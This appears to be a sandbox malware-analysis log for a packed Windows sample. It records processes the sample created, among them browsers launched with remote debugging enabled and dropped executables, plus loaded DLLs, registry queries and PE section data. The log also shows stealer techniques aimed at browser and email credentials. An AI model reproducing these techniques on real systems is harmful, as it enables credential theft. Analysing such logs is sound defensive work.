Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2268,i,2486232455654180400,10786844336549321907,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7048 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBKFBFCGI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCBKFBFCGI.exe "C:\Users\user\DocumentsGCBKFBFCGI.exe"
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBKFBFCGI.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=1900,i,14079970636101778942,3824482336983158342,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=2268,i,2486232455654180400,10786844336549321907,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7048 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2056,i,7325249786665411289,8704774257249683025,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCBKFBFCGI.exe "C:\Users\user\DocumentsGCBKFBFCGI.exe"
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1747968 > 1048576

Source: file.exe

Static PE information: Raw size of dvnombim is bigger than: 0x100000 < 0x190c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.660000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dvnombim:EW;jpjchxzt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dvnombim:EW;jpjchxzt:EW;.taggant:EW;
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Unpacked PE file: 25.2.DocumentsGCBKFBFCGI.exe.e40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ovllquoa:EW;jwgixeip:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ovllquoa:EW;jwgixeip:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ovllquoa:EW;jwgixeip:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ovllquoa:EW;jwgixeip:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 29.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ovllquoa:EW;jwgixeip:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ovllquoa:EW;jwgixeip:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA53480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA53480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: real checksum: 0x1d820d should be: 0x1dc8a8
Source: d59148a0e0.exe.29.dr	Static PE information: real checksum: 0x44321c should be: 0x24c463
Source: file.exe	Static PE information: real checksum: 0x1b1f18 should be: 0x1ad0f1
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x44321c should be: 0x24c463
Source: skotes.exe.25.dr	Static PE information: real checksum: 0x1d820d should be: 0x1dc8a8

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dvnombim
Source: file.exe	Static PE information: section name: jpjchxzt
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name:
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name:
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name: ovllquoa
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name: jwgixeip
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: tdbqqdnq
Source: random[1].exe.0.dr	Static PE information: section name: wpfewoas
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.25.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name: .idata
Source: skotes.exe.25.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name: ovllquoa
Source: skotes.exe.25.dr	Static PE information: section name: jwgixeip
Source: skotes.exe.25.dr	Static PE information: section name: .taggant
Source: d59148a0e0.exe.29.dr	Static PE information: section name:
Source: d59148a0e0.exe.29.dr	Static PE information: section name: .rsrc
Source: d59148a0e0.exe.29.dr	Static PE information: section name: .idata
Source: d59148a0e0.exe.29.dr	Static PE information: section name:
Source: d59148a0e0.exe.29.dr	Static PE information: section name: tdbqqdnq
Source: d59148a0e0.exe.29.dr	Static PE information: section name: wpfewoas
Source: d59148a0e0.exe.29.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B536 push ecx; ret		0_2_6CA8B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_007ED91C push ecx; ret		29_2_007ED92F

Source: file.exe	Static PE information: section name: dvnombim entropy: 7.953179584257686
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name: entropy: 7.985517308898134
Source: DocumentsGCBKFBFCGI.exe.0.dr	Static PE information: section name: ovllquoa entropy: 7.95254035685974
